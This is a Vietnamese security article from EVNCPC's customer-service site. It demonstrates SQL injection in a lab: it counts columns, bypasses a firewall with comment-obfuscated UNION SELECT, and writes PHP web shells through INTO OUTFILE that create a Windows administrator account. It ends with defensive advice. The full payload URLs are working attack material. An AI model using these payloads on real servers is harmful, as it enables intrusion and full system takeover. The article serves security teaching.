CPCCSKH: Tấn công leo thang thông qua lỗi SQL injection và cách phòng chống

14:46 - 16/12/2019  |  573 lượt xem

Chia sẻ Chia sẻ
Trong bối cảnh phát triển xã hội thông tin hiện nay, vấn đề an ninh mạng trở thành một trong những thách thức lớn. Các phương pháp tấn công mạng máy tính ngày càng trở nên tinh vi và phức tạp hơn, một trong số đó là tấn công website (Website Attacks). Bài viết này giới thiệu phương pháp tấn công leo thang thông qua lỗ hổng SQL Injection, từ đó đưa ra giải pháp phòng tránh.
CPCCSKH: Tấn công leo thang thông qua lỗi SQL injection và cách phòng chống

Lỗ hổng SQL Injection

SQL Injection là một kỹ thuật cho phép kẻ tấn công thực hiện các thao tác delete, insert, update trên cơ sở dữ liệu của ứng dụng, cũng như lấy được những thông tin nhạy cảm của người dùng từ CSDL như username, password, thẻ tín dụng. Dưới đây là một hướng tiếp cận khác đối với SQL Injection, thay vì khai thác để lấy các thông tin từ cơ sở dữ liệu hay bypass form login, thì chúng ta có thể thông qua lỗ hổng này để tấn công leo thang, chiếm quyền quản trị máy chủ hệ thống.

Xây dựng môi trường giả lập ứng dụng bị lỗi SQL Injection

Máy chủ chạy hệ điều hành Windows, cài đặt web server xampp (bao gồm các thành phần apache, mysql, php) với các thông số mặc định để chạy ứng dụng web php. Ứng dụng web viết bằng PHP, sử dụng MySQL làm cơ sở dữ liệu.

Các phần mềm sử dụng mô phỏng bài lab bao gồm: Máy chủ chạy hệ điều hành Windows Server 2012, Phần mềm XAMPP for Windows mới nhất phiên bản mới nhất với PHP 7.1.32 làm Web server tải tại đây (https://www.apachefriends.org/download.html), Source và database của ứng dụng bị lỗi SQL Injection tải tại đây (https://drive.google.com/file/d/1CMfuOieQVBw8YK8-h4--LN8fT8W9qLnm/view).

Mô hình giả lập tấn công ứng dụng bị lỗi SQL Injection

Ứng dụng sau khi triển khai như hình dưới:

Bây giờ chúng ta thử click vào chi tiết của 1 trang tin tức:

Tiến hành kiểm tra xem hệ thống có bị lỗi SQL Injection hay không bằng cách thêm dấu nháy đơn (') vào sau url. Kết quả trả về như sau:

Thực hiện đếm column của câu truy vấn trước bằng cách sử dụng order by.

 http://demo.cskh.cpc.vn/detail.php?id=4 order by 1 -- -

⇒Kết quả trả về bình thường, xuất ra tất cả rows và sort theo column thứ nhất.

http://demo.cskh.cpc.vn/detail.php?id=4 order by 2 -- -

⇒Kết quả trả về bình thường, xuất ra tất cả rows và sort theo column thứ 2.

http://demo.cskh.cpc.vn/detail.php?id=4 order by 3 -- -

⇒Kết quả trả về bình thường, xuất ra tất cả rows và sort theo column thứ 3

http://demo.cskh.cpc.vn/detail.php?id=4 order by 4 -- -

⇒Hệ thống báo lỗi “Warning: mysqli_fetch_row() expects parameter 1 to be mysqli_result, boolean given in C:\xampp\htdocs\demo\detail.php on line 7”, bởi vì không tìm thấy column số 4 để thực hiện sắp xếp.

Như vậy trong câu query ở trên có 3 column.Thực hiện lệnh union để nối 2 phép select.

http://demo.cskh.cpc.vn/detail.php?id=4 union select 1,2,3 – -

Hệ thống báo lỗi “This site can’t be reached”.

Nguyên nhân của lỗi này có thể trong hệ thống của EVNCPC đang có thiết bị Firewall chặn các ký tự có thể gây nguy hiểm đến hệ thống như “union select”. Cách vượt qua firewall: thay vì sử dụng “union select”, chúng ta sẽ sử dụng các ký tự “+” để nối chuỗi và cặp ký tự /**/ là cặp ký tự chú thích, mục đích đánh lừa hệ thống firewall. Việc thêm các ký tự này không làm ảnh hưởng đến kết quả của câu truy vấn.

http://demo.cskh.cpc.vn/detail.php?id=4+union/**/+select+1,2,3 -- -

Kết quả trả về cho thấy việc vượt qua firewall đã thành công, câu query có union đã được thực hiện, hoàn toàn có thể lấy các thông tin user kết nối database, database name bằng cách sử dụng các hàm user(), database()… trong mysql.

Để thực hiện mục đích leo thang chiếm quyền hệ thống, tiếp theo cần tạo user lên hệ thống máy chủ và cấp quyền administrator cho user đó. Trong mysql, có thể sử dụng câu lệnh “into outfile” để ghi một file lên hệ thống thông qua lỗi SQL Injection. Tương tự ở trên, chúng ta sử dụng url bên dưới để union 2 câu truy vấn

http://demo.cskh.cpc.vn/detail.php?id=4+union/**/+select+1,"<?php shell_exec(\"net user aaa 123abcABC /add\"); ?>",3+into+outfile+'C:/xampp/htdocs/c.php' -- -

Thực hiện chạy đường dẫn để thực thi file vừa ghi

http://demo.cskh.cpc.vn/c.php

User đã được tạo trên hệ thống máy chủ, thực hiện cấp quyền cho user vừa tạo

http://demo.cskh.cpc.vn/detail.php?id=4+union/**/+select+1,"<?php shell_exec(\"net localgroup Administrators aaa /add\"); ?>",3+into+outfile+'C:/xampp/htdocs/d.php' -- -

Thực hiện chạy đường dẫn đề thực thi file vừa ghi:

http://demo.cskh.cpc.vn/d.php

Đến đây đã hoàn thành việc tạo ra user và nâng quyền user thành administrator của hệ thống. Attacker có thể thực hiện remote desktop để chiếm quyền điều khiển máy chủ, cài backdoor… đe dọa nghiêm trọng đến sự an toàn của hệ thống (Video demo)

 Cách phòng chống

Từ demo, chúng ta cùng phân tích kẽ hở mà attacker có thể khai thác thông qua lỗi ở trên. Đầu tiên, ứng dụng bị lỗi SQL Injection, giá trị đầu vào không được kiểm tra kỹ càng. Thứ hai, user kết nối với cơ sở dữ liệu không được phân quyền kỹ càng. Cuối cùng, cấu hình web server chưa được tốt.

Để khắc phục những vấn đề này, giải pháp đề xuất như sau: Trước tiên, cần kiểm tra chặt chẽ giá trị đầu vào. Tiếp theo, đối với user kết nối với cơ sở dữ liệu thì không sử dụng user mặc định, và chỉ phân các quyền cần thiết sử dụng. Cuối cùng, đối với web server, không hiển thị các thông báo lỗi nhạy cảm, disable các hàm nhạy cảm tương tác với hệ thống…

Kết luận

SQL Injection là một trong những kỹ thuật tấn công phổ biến, tỷ lệ thành công tương đối cao, gây hậu quả nghiêm trọng. Trong mô hình giả lập xây dựng ở trên, hệ thống đi qua mạng của EVNCPC có firewall và trên máy web server đã cài đặt chương trình Antivirus (Symantec End Point Protection), tuy nhiên các đoạn mã độc vẫn hoạt động bình thường. Có thể thấy, nếu chủ quan chỉ dựa vào bảo mật của hạ tầng thì ko đủ đối phó với sự nguy hiểm của tin tặc. Tinh thần cảnh giác cao độ, chủ động xây dựng các phương án phòng ngừa, sẵn sàng đối phó với sự tấn công mới chính là yếu tố quan trọng quyết định hiệu quả của công tác an ninh mạng.

Trần Cảnh Khánh

14:46 - 16/12/2019  |  573 lượt xem

Chia sẻ Chia sẻ

TIN BÀI ĐỌC NHIỀU